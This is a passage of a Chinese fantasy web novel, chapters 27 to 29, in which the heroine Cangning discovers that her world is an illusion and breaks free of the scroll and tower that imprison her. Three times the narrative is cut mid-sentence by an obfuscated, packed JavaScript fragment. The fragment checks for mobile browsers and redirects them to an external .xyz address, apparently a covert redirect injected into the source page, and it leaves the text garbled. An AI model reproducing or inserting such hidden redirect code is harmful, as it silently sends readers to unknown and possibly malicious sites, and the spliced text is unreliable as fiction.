“石头也是有生命的!”貔大虎看着自己胸口落下的碎石,“好吧掉下去的现在死透了——你这是干什么,斩妖手法越来越鬼里鬼气了!还好你手里没刀,要是你那把横刀在手,本大爷岂不是死得透透的了。” 苍宁坐在半空中,撑着下巴看着它缺失的心口瞬间长回石头,说道:“杀你用不上。之后就不好说了。”晏长书的术法好用,把她养懒了。别提什么神剑了,卍字一开,只需要动动眼睛就好了。 一旦沉溺在方便之中,就会把过去的习惯忘记。分明论杀伤力,还是她的宝刀更胜一筹。 “你就立在那儿,来都来了,别瞎跑。” 苍宁给他画上圆,让他闷坐着,末了,苍宁忽然问:“你也死不掉?” 貔大虎:“?” 招摇山云海变幻莫测,春光几度变寒。 苍宁虽然记忆力不太好,但她向来相信自己的直觉。貔大虎有一点说得不错,瑞兽的感觉从不会出错。 她有不好的预感。 闷雷声响,天空骤雨不断。 桃枝将柴火烧旺了,二人一齐站在檐下,衣衫猎猎作响。 “前辈,风雨不止,该如何是好?” 苍宁看着天边的卷雷:“桃枝,你怕死吗?” “前辈,好端端地,怎么说起这个来了。” “如果你想死,你想怎么死?” “前辈你又看了哪个话本?”桃枝考虑再三,“成为神明拯救苍生英勇赴死吧!” 话音未落,苍宁手作刀状,直接捅了他一心口。 桃枝刚想说话,喷出一口血来。苍宁侧过身子,躲开污血,像是观察蚂蚁那般冷静,还发出了“嗯”的声音。 桃枝不敢置信地看着自己的身体,心口处流出了大量暗红的血色,沾湿了他的衣裳。 苍宁收回手,甩掉粘稠的血迹:“你那种死法果然不符合我的想象。” “咳……呃。”桃枝眨巴两下眼睛:“我没死?” “行了,你也是个死不掉的。”苍宁瞥他一眼,“我还不知这儿到处都是些不死不伤的主呢。” “前辈,我是金刚不坏之身!” 苍宁冷哼一声:“趁热乎,做做梦吧。” 风起云涌,招摇山落下点点雨水,掀起泥土的腥味,夹杂着片片雪花。 晏长书仍旧睡在水中。她用力量将水维持在适宜的温度,他一动不动,脸上一面赤潮。 约莫下了两个昼夜的雨雪,招摇山再度覆白。 晏长书气息紊乱,赤青色的光团如乱蛇一般,苍宁冷着脸割开手腕,喂他血沫,被他推开。 苍宁盯着自己滑下手臂的血,用一指喂进自己嘴里。 啊,难吃。 血滴到水中,钻进水底,弥漫着一股独特的腥气,被赤青色笼进他的身体里,如同另一种形式的相濡以沫。 直到现在,苍宁可以确定,晏长书并不是为了与她玩乐,而白白在她手腕上留下两个印记。 他在做些什么。 她知道他们的身体之中有什么东西在互相吸引,为之共鸣。 他醒了,双眸中映着卍字,如同蛇的竖瞳,显得有一丝可怖。苍宁若无其事地收回手腕,流血的伤痕已然消失得干干净净。 她掐住他的脸,问:“好些么?” “苍宁。” “有的时候,我还挺喜欢你叫我宁宁的。”只是有时候。 苍宁不太兴奋,淡声道:“你的状态看起来很差。像是要死了。” 他迷迷糊糊说,不会死。 你也不会死。苍宁。 湿淋淋的手抓住她的袖袂,浸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030020|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在水中,像是命悬一线的溺水者,揪住了河底的水草,飘摇着。 苍宁垂眸瞧着他: “你当真不会死么?” 她俯下身,抚过他的脸,滑到他的脖颈上。 晏长书就在她股掌之中。一个强大的生灵如浮生草芥在她手中,决定他的死亡,不费吹灰之力。 苍宁想起晏长书化为人形的那个月夜,她其实也试图将他杀死。那时她脑海中会出现一个相当清晰的声音: 杀死那个鬼王。 只有这样,你的世界才会回到正义的轨道上。 可当她看见他的眼睛时,她也会想:再等等吧,不是现在。 没有人承认鬼王的存在,鬼王就不存在。 否认一个人或一个事物的存在,这是世间最方便的障眼法。 却也是自欺之道。 苍宁悠悠呢喃: “小蛇,如果你是真的,这个世界是假的……那还有什么是真的,什么是假的?” 为什么是假的? 雷声轰鸣,闪电照亮了苍宁半张面无表情的脸。 苍宁松开了手,慢慢地,走出了屋子。 天色阴翳。 天空中蹿出喳哇乱叫的渡鸦,消失了,不一会儿从地下窜出来,复归天空上。 奇异的是,山坡上仍旧盛开着大片的野花,影影绰绰,一直开到半空之上。 凌乱的元素在瞬间消失,又在瞬间迁移。一念春夏,一念秋冬。 风雪愈大,苍宁面色愈紧。 她瞧不出什么情绪。只是面色愈苍白,显得眼眸愈深沉,森森然如骷髅般。 不多时,头发乱七八糟的桃枝跑来苍宁面前哭,说是自己没有看好头顶的小花,让她逃跑了。 “招、招呜呜呜摇山事变,定和她有关系!” “什么招摇山怎么就事变了,”苍宁笑意不达眼底,“我还没死呢。你好好说,别哭坟了。” “我是……我是想着刚刚前辈吓唬我,可能是我工作还不够努力,所以我就寻思着多砍点柴火,谁知砍了一半,雷声响起来,我头上的花儿醒来,蹦出个红衣小娘子,躺在地上说要死了,绝对不能被抓走,她还要向前辈揭发一桩大秘密,然后——然后她忽然就不见了!我亲眼所见,千真万确!” 苍宁冷哼一声。 “前辈你冷吗?” “不冷。” “你在发抖呢。” “我不冷。” 苍宁不觉得冷,只觉得浑身滚烫。 她抬眸望去,天边云层已然翻涌成巨大的漩涡,风驰雷掣,电流星散,一如她记忆之中的自己最欢欣雀跃的,弑鬼王之死的成神之礼。 27. 浮生一梦 有人闯进了她的结界。 貔大虎汪汪汪汪叫起来。 苍宁闻见了自己亲自洒出的酒气。 小花赤足站在门前,两侧头发乱蓬蓬的,垂落到小腿,露出尖尖的小脸,身上挂着雨雪。 雨水冲刷着泥泞的土地,雷电一声比一声响亮。桃枝两手捂脸:“小红花,你去哪里了,我找你老半天!” 小花忽然抬起头。 她的眼睛维持着一刻的清明,看见桃枝后,喊道:“别过来!” 桃枝往后退了一步。 雷电轰然而至。 苍宁布下的结界缓缓显形,泛着白色的荧光。 过尔须臾,小花的眼眸吞没了眼白,在霎时变得一片漆黑。她莹润的皮肤开始变化,像树皮般抖落,露出红色的血肉,又像一团泥,被雨水融化,渐渐流到泥泞的土地上,下渗,如同人形沼泽。 桃枝吃了一惊,想要去救她。各种仙法道法用了一遍,仍是徒劳无功。只能眼睁睁看着她陷落下去。 “前辈!” 苍宁的注意力在遥远的天际。 倒转的花朵将天与地拢成半圆,呼啸的云海弥漫至整个招摇山,团团围住,阻隔了世外的声息。 小花的泥肉一层一层扎根在地下,口中做最后的挣扎:“快走……他……要来了……”她彻底融化在泥肉之中,两只漆黑的眼珠子在地上滚动,骨碌碌,忽然如种子般陷进泥土里。 雨水不断冲刷,安静的小屋中听不见一丝人声。被圈在圆圈中的貔大虎忽然汪汪汪叫起来,发出了一声呜咽。 说时迟,那时快,就在眨眼的一瞬间,大地震颤,泥土之下茎连着茎,根连着根,一株百人不可环抱的巨大植物通天而上,将山坡之上所有花草拔地而起,连接了天地漩涡! 地表开裂出深不见底的沟壑,小屋的厢房也备受迫害,七零八落。就在貔大虎嗷嗷乱叫时,眼见就要被落雷劈打时,苍宁解开了他的结界。 但雷电仍旧不断以极快的速度攻击着这片结界。一次、两次、三次……直至百来次,终于出现了微微裂痕。 桃枝大叫:“天道!这是冲鬼王来的!我们的任务失败了。” “慌什么。”苍宁冷道。 “我们、我们把晏长书交出去——” 桃枝话还没说完,那巨大的植物便伸出滕蔓,将桃枝和貔大虎狠狠扫到山石上,山石崩裂,滑落进云海之中,刹那灭为齑粉。 他急急捏了个诀儿,火焰自巨大根茎处熊熊燃烧,不到一刻,便被滂沱大雨浇灭。再试,失败,仍试,仍是失败!这根茎恍若金铜圣体,刀枪不入! “不、不可能!”他浑身湿透,头发贴在脸颊上,对苍宁喊道,“前辈,小心!” 风起云涌中,岿然不动的苍宁被滕蔓拦腰而撵起。 “前辈!前辈!!!” 桃枝撕心裂肺的叫喊声中,苍宁被纳入根茎之中,坠入漆黑的沟壑中。 - 苍宁于漆黑的时空中睁开眼。 风声、雨声、雷声和桃枝的叫喊声仿佛还在耳边。 她拍拍衣裳,站起来,脚下的水流慢慢往前方流淌,一道窄窄的光门出现在遥远遥远的地方。 她看见一抹红色在不远处。走近了一看,是满脸笑容的小花,正坐在亮莹莹的花丛之中。 苍宁微微眯眸,说道:“没想到还是你。” 她的笑声如银铃般:“你以为会是谁来见你?” 苍宁笑了笑。 “我知道了。一个更大的人物,一个响当当的角色,总之不会是我这样命如草芥的人。”小花叹了口气,“你知道吗?很久以来,其实我对自己都没有任何记忆。上个世界倾覆之后,我躲在花里,如小叶在江上横行,竟然真的摆脱了一次失忆。” “上个世界?” “没错。一个世界,又一个世界,浮生一梦,万千世界。若一定要形容,大约是一朵花开了又败了,于是开了另一朵相似的花,所有花都开在同一片山坡上。所以,苍宁,我知道很多你的事。” 苍宁沉默下去。 “你隐隐约约有猜测?” 苍宁的确有。卍字的出现,招摇山的气候,神界的仿佛不知,和晏长书的交涉,屋外的酒。 她自然不是闲得没事上神界,闲得没事布下结界,闲得没事坐在屋檐上放出神识打探。她也算得上是瑞兽,她说过,她的预感不会错。可是,这到底是什么,又—— “为什么?” “是啊,为什么。”小花道,“所以我才来到属于你的意识中,这里是飘摇风雨外被掩藏的,唯一清醒的地方。想要告诉你,我知道的部分。” 苍宁纠正她:“这里是去往鬼界的地方,那扇门,是去往鬼界的门。” “不,不不不,你错了,苍宁。那只是你的‘以为’罢了,是你的意识造就的障眼法。事实上,那不是你出去的地方,而是你进入这片黑暗的门。” 小花示意她跟着一齐往门的反方向走去,苍宁缓缓抬步跟上。 “如你所见,外面的世界就要崩塌,顺利的话,你下一个世界的开始,同样是杀了鬼王,成神之礼,飞升成神。这个开始好不好呢?要大多数人来说,一定是荣耀的,甚至连你自己,也这么认为。” 小花抬手,空中浮现出苍宁只身入雷云的影像。 “可这些只是洞察你的‘认为’之后,让你深陷其中的假象。” 苍宁笑道:“世界是虚假的,对吗?” 熟悉的话。 小花一怔:“对,你的世界是虚假的。你已经知道了。” “这是晏长书和我说的。” “啊,他啊。”小花笑起来。 “这样说来,一旦我杀死晏长书,这个虚假的世界就会结束了。” “谁和你说的?” “我脑中的声音和我说的。” “那是什么声音呢?” “她让我杀死鬼王,这样世界就会回到正义的轨道上。”苍宁面不改色道,“所以,只要我杀死晏长书,这个虚假的世界就会结束了。” 她失笑道:“以你的行动力,你为什么会觉得自己曾经没有做到过呢?” 苍宁蓦然一愣。 “当你杀死晏长书,山海倾倒,世界崩塌,你便会进入下一个世界。来来回回,他也被你杀了数十次不止了。据我所知,他为了维护一个又一个世界,耗费了巨大的心力,——他向你输送了如此多的愿力,以至于自己恢复原身,无力再支撑起卍象图,现在嘛……是烂蛇一条。” 小花说:“他在干涉你的命运。这是不被天帝允许的。他变成这样,是因果报应。他自己也清楚得很吧。” 花中的影像逐渐飘散,化为另一幅影像。影像中,月夜下,苍宁正玩弄着小蛇,把他拎在半空。 苍宁拧眉道:“你的意思是说,我脑中的声音是假的。” “你分不清真假了么?你看看,我是不是假的?你又是不是假的?” 苍宁哼了一声:“我劝你快说人话,我没耐心。” 小花咯咯笑着:“好吧,我就直说了,苍宁。毕竟我们终于走到了目的地。” 小花侧身走开,高悬的吊绳上,有一具摇摇晃晃的病体,被削去了漂亮的羽毛,无法再飞起来,身上满是镣铐和血痕,在不停地往下滴着血,一柄长而略带弧度的刀自她胸前横过,差一点点就穿透心脏,不通畅处,原来是一枚金色的卍字挡在其中。 苍宁双眸大睁,往后一退。在花瓣的光芒下,苍宁看清了自己脚下不是清透的水,而是一滴一滴,一滴一滴的血汇聚成的浅浅血流。 吊绳上的人垂眼看着苍宁,几近死亡。苍宁呼吸停滞,浑身颤抖,脑中似有纷繁记忆灌入,一时整理不能。 “千年前,神魔大战中,天帝弑旧鬼王后,亲立新鬼王。二百年前,鬼王失控,痴癫发狂,欲反天帝。天帝布下天罗地网,投鬼王入神器镇神塔之中。此塔曾以花神献祭,一脉一格囚神灵,司命星君烧去神灵命书,是以令所囚者轮回无望,自生自灭,谓之天帝的天道。 “鬼王身中鬼气早已失衡,在神界乱箭之下,精神错乱之时,心灰意冷,只想毁去自身以求得解脱,好过落入万年牢笼。晏长书持法器卍象图,在鬼王落入镇神塔时张开卍字,让其先行落入卍象图中,用强大的愿力支撑起我们经历的万千世界。 “晏长书受教大行愿力,解行并进,有行德之善,助轮回之法。为使鬼王从长久的困顿中逃离,他向鬼王注入了足够的愿力,望其认清内心,挣脱樊笼,再世而来。你所见的,正是晏长书从镇神塔中拦下的,鬼王的肉身。 “苍宁,你说,那个在你脑中的声音,到底是谁的呢?” 苍宁摇摇头,唇色发白:“……” “是鬼王。曾在一念之间想要寻求解脱,一了百了的鬼王。想要毁去自我的鬼王。可她还来不及成功,晏长书便引她去了幻术中。于是,她拥有足够的时间,思考、生活,一个完全由自己掌控的空间,可以用来改变和实现自己的想法。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030021|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “唯一的缺点,是容易深陷幻术,无法自拔。一次又一次,晏长书开始担心了。他不得不提醒你,世界是虚假的,你脑中的思考和体验,应当回归现实世界。”小花继续道:“你知道的,苍宁。一个飘荡在幻术之间的魂灵,该用什么方法挣脱这个世界,消解这场幻术?” “哈……”苍宁忍不住笑了一声,喃喃自问,“原来是这样。” “所以,以你的聪明,应当能够明白了吧。” 苍宁闭上眼。 ——“苍宁,这个世界是虚假的。” ——“苍宁,总有一天,这个世界会崩塌。仅凭我现在的力量,我护不住你。” ——“任何合理的,不合理的部分,只要你一个意识,就会帮你填充故事的细枝末节。” ——“这是你的世界,苍宁,一切都以你的意志转移。” 所有昏暗的噩梦和零散的记忆,都如同走马灯在苍宁脑中呼啸而过。 这些话不是空花阳焰,梦幻浮沤,而是真实的过往,被刻意遗忘的过往。 当苍宁为李漱搭建幻梦时,她很清楚,幻梦会构建一个自己渴望的,现实触不可及的未来,只要深陷下去,就永远堕落。 遗忘不是不存在。掩藏也不是不存在。这是恶劣的,无可奈何的,卑微的,自保的,可怜的障眼法。 搭建的幻梦会以各种各样的形式瞬间崩塌。而被隐藏的一切会持续不断地涌上来,像是清水下的污泥,永远存在。 被外力破坏的幻术,是无用而徒劳的。唯有自己的挣脱,才会如一把锻造的新刀,削铁如泥,坚不可摧。 苍宁低低地笑起来。她大约觉得有趣,又觉得可笑,最后长长地叹了一口气。 她是她自己想杀的人,是她自己讨厌的人。不被自己喜欢的存在。如此一想,实在可悲。 但晏长书偏生为了她,耗费了如此多的心力。还有小花…… 小花背着手,站在她面前,两靥津甜。 苍宁无奈道:“我还不知道你是谁呢,小花。” “我啊,我早就说过啦,我是一个不重要的角色,一抹不重要的孤魂,一个用献身为旗号的棋子罢了。” 她手中的花朵铺散开来,沿着细细的血河,好让她将行之路步步生花。 “一点老习惯,我比较爱漂亮嘛,希望可以帮到你。”小花道,“哦,不过——苍宁,我想提醒你,卍象图可能不止有晏长书一人在支撑。阿霁会偷偷写命册的,我偷看过一次,后来那些东西就被藏进花朵里一起消失了。小童们会告诉你,‘神鬼无命册’,是阿霁的障眼法而已……作为司命星君,他本来要破开卍象图,令你坠入镇神塔,结果自己也陷进去了。” 阿霁…… 苍宁抬头,了然道:“你是那个献祭镇神塔的花神。” “……什么花神啊,不再是了。我从镇神塔被卷入卍象图中,是卍象图让我有了显出实体的力量。我那么想找回自己的记忆,弄清楚自己从哪里而来,其实,我只是一点魄体碎片,微不足道。外面那个可怕的光秃秃的丑根茎植物,我才不承认那是我啊。” 小花眯着眼睛笑。 苍宁:“这里不够好。” “要出去……我还有机会吗?我不知道。但是你还有机会的。”小花说,“无论如何,我不希望再有无辜的神明落入这里。” “再见,苍宁。” 她的身体逐渐从漆黑的空间中散去,慢慢地,轻柔地,落英飘摇。 “希望你还能找回你自己。” 最后一抹花瓣坠落在地上。 血河却不再可怖,黑暗,而是冥冥之中泛着金色的光芒。 苍宁站在那具奄奄一息的缢颈者身前,没有显露出过多的悲伤,只是在沉思,一直在沉思着。 她拔出她身上的乱箭,自己的身体传来同样的灼灼痛意。 她握住了胸膛上的横刀。 望向缢颈者那张和她一模一样的脸。 这便是鬼王。 真正的鬼王。 苍宁想起碎片中的面庞,噩梦中的无羽之鸟。 她过去的模样。 原来她也会露出这样痛苦、迷茫、灰心丧气的脸么? 苍宁哼了一声,在卍字金光大闪之中,竭力拔出了那柄认主的神刀。 这具肉身并未醒来。里面还缺少一样至关重要的东西。 苍宁微微一笑。 也罢。水来土掩,兵来将挡。 不过是她与这世界,见招拆招。 28. 卍象图引 前辈死了! 桃枝急得乱窜,跟着貔大虎迎着大雨在地上刨土。 “前辈死了!” 貔大虎:“别嚷嚷了,咱把她库里的金子分一分,赶紧跑吧!” 桃枝哭得稀里哗啦:“你怎么说这种伤感情的话,你是不是人啊!” “本大爷是貔貅啊,光吃不吐,再说了,她到底还流着神的血,你一个破枝条哭什么哭啊!赶紧的赶紧起来,我们马上去鬼界把那堆好东西分一分,我吃金子就行了,那些个凤凰啊青鸾啊西王母啊留的宝玉翡翠珍珠玛瑙碧玺其他什么东西我就不用了……” “喂!难道你来找前辈,就是为了金子?” 貔大虎一跳:“我可是个云游商人,不然呢?!再说了她很过分,她逼我当狗啊!好吧,当狗也罢了,嘶——我好歹也算是她的大功臣吧,关键是金子得结清楚!” 貔大虎骂骂咧咧地跳开,检查了下自己胸前的石头,一副恨铁不成钢的模样:“难道那家伙没掏你的心吗?” 桃枝:“掏了啊呜呜,但是前辈会这么做呜呜呜一定,一定有她的道理嘛……” “……”貔大虎的瞳孔狠狠抖动着,不敢置信道:“神兽病。” 巨大根茎下通天蔽日,沟壑深而无望,苍宁的身影消失得无影无踪。 寒凉雨雪,纷纷扬扬。电闪雷鸣间,云雾流转。 貔大虎看向云雾中隐隐出现的身影,暗道了一声该死,回身仓皇咬住桃枝衣领,嘶拉一声给桃枝咬得衣襟打开。桃枝胸口发凉,如被轻薄者般捂住胸口,貔大虎转而咬住他的腰带,带上半空。 雷电唰得劈下来,貔大虎将将躲过,可他到底是石头身,不够灵活,连续不断的霹雳神电快而惊人。他们无处可逃。 将此时,貔大虎扭身,张大嘴,下半身被打得粉碎,桃枝被力道甩开,手中捏诀张开抵御,瞬间支离破碎。 断壁残垣,满目萧然,一片凄凉地。 貔大虎看见身旁的雨水停滞在半空,自己和桃枝同样凝在空中,和追赶他们的雷电一起,如静止的雕塑。 雨珠如空中串联成线的透明琉璃,云海的雾气不再变换形状。 慈悲而超脱的梵音自远处传来,端正质直,心光莹净,普映十方。 撞钟声后。 残垣之中,伸出一只苍白的手,轻轻拢印。 斗转间,目之所及处,房屋、大地、山坡……全部归于原位,雨水、云海、雷电莫不退而让之。 仅凭一个手印,斥退雷电云海,重见天光。 那通天的根茎蠕动着,似乎根部有什么正在蓄势待发。 貔大虎和桃枝瞬间摔倒地上,抬头,看见完好无损的厢房门,被轻轻打开。 桃枝呆滞道:“晏、晏长书……” 晏长书仍是苍白病体,但有所不同。 他身着单衣,墨发垂至腰间,赤足站在泥泞之中,却纤尘不染。 缈缈梵音清净明彻,他眉宇平和,周身气息平静,有庄严像。 桃枝和貔大虎仍呆在原地,不是因为被人强控,正是因为他那难以莫测的气息。 平、稳。 稳到几乎探测不到任何波动,任何气息。 接近于无,却也接近于满。 桃枝愣了半晌,求救道:“郎君!!前辈,前辈死了!” 他微微垂眸,看着桃枝,神情平稳。 可他眼眸暗含深色,和庄肃神情形成截然不同的情绪,有种莫名的邪气,让人隐隐感到害怕。 青天上,云海瞬息万变,司命星君终于持剑而下。他并不费口舌,冷笑一声,剑指晏长书,急急攻去。 晏长书右手结印,长剑舞来时,只见刺目白光涌起,天地为之一震。司命星君被巨大的冲力击开,滚落在根茎之上,用剑狠狠扎进根茎中,勉力停止。 白光散去,晏长书仍旧平淡面色。 过尔,一声咳嗽,他扶住自己胸口,猝然单膝跪地,用食指抹去嘴边暗血。 司命星君见状,朗声笑道:“晏长书,你我本井水不犯河水,你既用了这卍象图,又何苦要毁了这一切?” 晏长书抬眼看他,如视蝼蚁。 司命星君怒目道:“你气数将尽,苍宁命中注定落入镇神塔中,又有何得意?” 话音落下,司命星君从根茎上飞驰而过,就在起跳之时,脚下臌胀的根茎之中忽然爆出浓浓汁液,豁开一个狭长的缺口! 司命星君当即跳起,在空中翻身而过,精准落于晏长书身后。乱枝落地,晏长书并未移动,司命星君当即一剑穿心—— 但正当剑穿过晏长书胸膛时,却消散了人影,司命星君转身一瞧,晏长书已然从背后掐住他的脖子,平静地,将他拎在半空。 晏长书的膝盖上并没有泥土,但唇边仍然有血。 在幻梦之中,竟然还能用幻术…… 司命星君暗自心惊,脸被堵塞的血气涨得通红:“晏长书,你是……你不可杀生……” 晏长书恍若未闻,攥紧他的脖颈,俯视他,一字一顿道: “她呢。” 司命星君闷声,断断续续笑道:“你已经退化到无法感知了?” 他眼中赤青色闪过,司命星君身后穿过无形的箭,叫司命星君疼痛难忍,却不留下任何伤口。 末了,晏长书再度咳出一口血,眯眸盯着司命星君,平静的佛性下,流淌着汹涌的阴鸷,正如伺机绞杀的蛇。 司命星君几欲昏死。 直到根茎中再度传来闷响,所有滕蔓萎缩着,交缠着,长长的豁口出现两道、三道……苍宁从中一跃而出,将手中宝刀甩干净,挽了个剑花,站于空中。 晏长书瞧向她,瞬间松了手。 司命星君等不及缓解,从身后将剑横在晏长书脖颈上。 苍宁定睛一看,地上趴着的那两个一动不动的碍事极了,她伸手将他们二人撇到安全地域,落于地面,随手把刀插在地面,两手交叉,撑在刀柄上,作懒散有度,游刃有余状。 晏长书面色惨白,唇边沾满鲜血,一副被挟持后,柔弱可欺的模样。 他说是蛇蜕,一点没有好转。真是个骗子。 苍宁挑眉笑道:“我的好星君,你怎么欺负无辜的路边小蛇啊?” 谁欺负谁? 司命星君细瞧她,凝息道:“你来得正好,将鬼王杀了,你我二人同回神界。” 苍宁哦了长长一声:“星君为解卍象图而来,如今改性子了,还是改官职了?” 司命星君不答,苍宁调笑道:“我刚刚梦游归来,错过了你们的争斗,但想来也没什么能看的。早就听闻你曾与花神相恋,我与花神残魂相谈甚欢,她念我助我,如此看来,你配不上她啊。” “区区一抹残魂,也敢冒充她的名字,”司命星君眉目一凛,“苍宁,你莫要胡说!” “她说你陷入卍象图中,无可自拔,偷偷写命册,企图改变幻梦。看来她说的一件不差。你创写出这卍象图中步步生莲的花神,追逐一个虚幻的影子,在梦里将所有命册记录全部烧尽……这每一桩都是应当写在神机庭的罪过。” 司命星君愣了愣,忽而大笑起来:“苍宁,论及罪过,你才是被写在神机庭罪昭上的人!你被天帝扒光羽毛沦进鬼界,落入镇神塔,轮转梦境近百回,做着重回神位的梦,幻梦和现实是截然相反的,我可怜你!可是苍宁——” 他神色张扬,额间青筋勃动:“梦里有什么不好?这里你不是那个神界厌弃的鬼王,没有罪过,你也不必因为没有挽救回李漱而后悔,因为过度敏感而感到痛苦!在这里你拥有曾经的神位,每位神明都对你恭恭敬敬,你潇洒自由,连天上尊者都愿意成为你的替死鬼——这里有什么不好?” 过多的信息量让苍宁沉默不言。 她余光瞥到晏长书,看见他嘴角仍有落下的血。 她稳住心神,笑道: 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030022|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“星君,我和你非同道中人。我从来没有主动留在卍象图中。天帝在规则之中将我摒弃为鬼,并非我所求。你的成神之道比我糟糕多了。” 苍宁不为所动,司命星君微微一笑:“那便不必再说了。” 只需要杀死幻梦之中的鬼王,就能够将这场梦继续下去,甚至可以按照他在梦里所写的命册轨迹行走! 这样一来,这个世界也是真正的,真实的世界——他的世界! 司命星君的剑距离晏长书脖颈毫厘之间,世界忽然变得很慢。 一切就像慢动作。 熟悉的赤青色如火焰般铺张开,进入苍宁的双眸中,刹那间,苍宁双目一烧,垂头捂住了自己的双眼。 眼中流下的血模糊了她的视线。 可视力无碍,身体里的力量正在炽热灼烧,她从未有一刻觉得自己充满无上力量。 她从沾满血的指间看向晏长书,他苍白得不染尘埃。 【杀了我们。就是现在。】 她脑中出现了晏长书的声音,平和而冷静,遥遥在天际般。 【那你呢?】 司命星君的长剑破开了他脖颈的肌肤,脏污的血吞噬他洁净的肌肤。 【那你呢?晏长书!】 司命星君即将斩断他的脑袋。 【我不会死。】 来不及了,就要来不及了。 耳听无动静,苍宁咬牙,翻手拔刀而起。 神刀出,一道比肩天地的刀痕出现在空中,山海中静默一瞬,为之颤动。 天,漏了一个巨大的口子! 刺眼白光乍现,司命星君的长剑粉碎无影,他来不及说话,和晏长书一齐被神刀斩成两半。 晏长书缓缓垂眸,化成粒粒金光。 小屋、招摇山……裂痕浮现出卍字,一切时空影像霎时消失,苍宁回到了那个漆黑一片的空间里。 这里破天荒地下了雨。 苍宁抬起手一看,她才发现,那不是雨,而是墨。 墨水。 一幅被划开口子的卷轴落到她怀里,上面写满佛经。不知道是不是晏长书的手笔。 他来这里一趟,只为了当她的引路人吗? 她想起曾经暧昧的游戏,现在看来也是平静的纵容。 “这就是卍象图啊。”貔大虎啧啧称奇,“倘若没有晏长书,你怕是很难破开佛家法印呢。” 苍宁瞪着他。 “吓貔貅不会有钱!” “我是鬼王,我有数不完的钱。”苍宁说着,眼中又掉落下血。 “我是说你的眼睛!” 苍宁的眼睛闪动着赤青色的卍字火焰,蛇一般扭动着。 她下意识抬头往上看,伸手接住了一颗平平无奇的魄丹。 没有卍字纹,闪着光芒,不像地上普普通通的圆石子,而像上好的黑曜石般沉贵。中心,藏着一点火光。 这颗魄丹被晏长书养得很好,最后,他安安全全送回到了她的手心。 从始至终,鬼王是她,这颗魄丹也是她的。 幻梦也因为她。 苍宁把魄丹按回了自己的肉身里。 她现在的身体,正在渐渐消散。 桃枝抿了抿唇:“前辈,这次我是真的完蛋了。我是假的。假货不能升职了。” 苍宁笑了笑:“不必怕,不会完蛋的。” 貔大虎道:“啧,我可是真的。不过——晏长书真的死了吗?” 晏长书…… 她信了他最后那一句话。 她信了他那句话后,没有接上代表谎言的脆响。 “他不会死的,”苍宁说,“我对他还一无所知。他怎么能死。” 明明还没有彻底出去,苍宁已经觉得,那些想要摒弃的情绪,全部回到了自己身体里。 现在,她要从那扇窄门里走出去。 结束这一切。 回到天地里。 29. 因果之缘 初初陷入镇神塔的苍宁,是想要死亡的。 死亡可以解决她当时混乱的心境,崩溃的困境。 千年前,神鬼两界大战,三界合一。天帝亲手弑鬼王,任苍宁为新任。 “你们青鸾一族,最是爱好和平。”天帝说,“为了你的父母,更为了天下苍生,望你担起重责。” 天帝以德治天下。至此,苍宁前往鬼界,为神界,为苍生。 鬼界失去了生死簿,人、鬼、神的命运,都由神界写就。 一个好端端活着的人,若神界要他死,便活不到明天早上。地府鞭笞魄体的酷刑更是翻了一番,数不胜数。 鬼界畏于神界,兢兢业业。可苍宁却认为这和从前的鬼界并无分别,甚至更加恶劣。 她是神鸟,更是瑞鸟。她在西王母的照拂下,于三危山长大,行虽肆意,却从不滥杀无辜。 她没有办法忍受捏爆魄体的快感,叫人灰飞烟灭的快感。也不能接受轮回转生成为天界收买人手的一门赤裸裸的生意。 三界已然如愿,天帝便将目光放向了整个六界。 再者,天帝口口声声道貌岸然,却从不曾提及幽深鬼气对祥瑞之兆的侵蚀。 在鬼界八百年,苍宁体内鬼气渗入,早已失去阴阳平衡。这样的后果是越来越多次的气息失控,走火入魔。 二百年前,累积已久神鬼两力互相驳斥,终于在苍宁体内爆发。她神志不清,痛苦难耐,在鬼界掀起动荡,欲杀天帝。 天帝有慈悲之心,镇神入塔,望她好自为之。 鬼界的坏事是苍宁做的,得了好处的,占了甜头的,无疑是天帝。 晏长书是半路杀出的程咬金。用卍象图平复了她体内紊乱的气息,注入平和的祥瑞愿力,使她得以清醒。 最重要的是,苍宁现在觉得自己要比从前拥有更多更多,取之无竭的力量。 一刀劈开卍象图,镇神塔的火舌汹涌逼人,苍宁被灼烧但丝毫未被灼伤,反有凝聚火象之力。 她再一刀劈开镇神塔—— 毁图灭塔,脱身而出,逍遥自在。 重见天日时,那些中途丢失的情感和记忆霎时回到她脑海里。 与幻梦不同,她并非那么没心没肺,否则也不会因为他人的痛苦而痛苦。 可苍宁如今却已有崭新的心境。对自己的懦弱,是他人借助而砍向自己的刀。她的心软和慈悲再也不能滥用,也不能成为自我毁灭的武器。 招摇山下,镇神塔已经是断壁残垣。 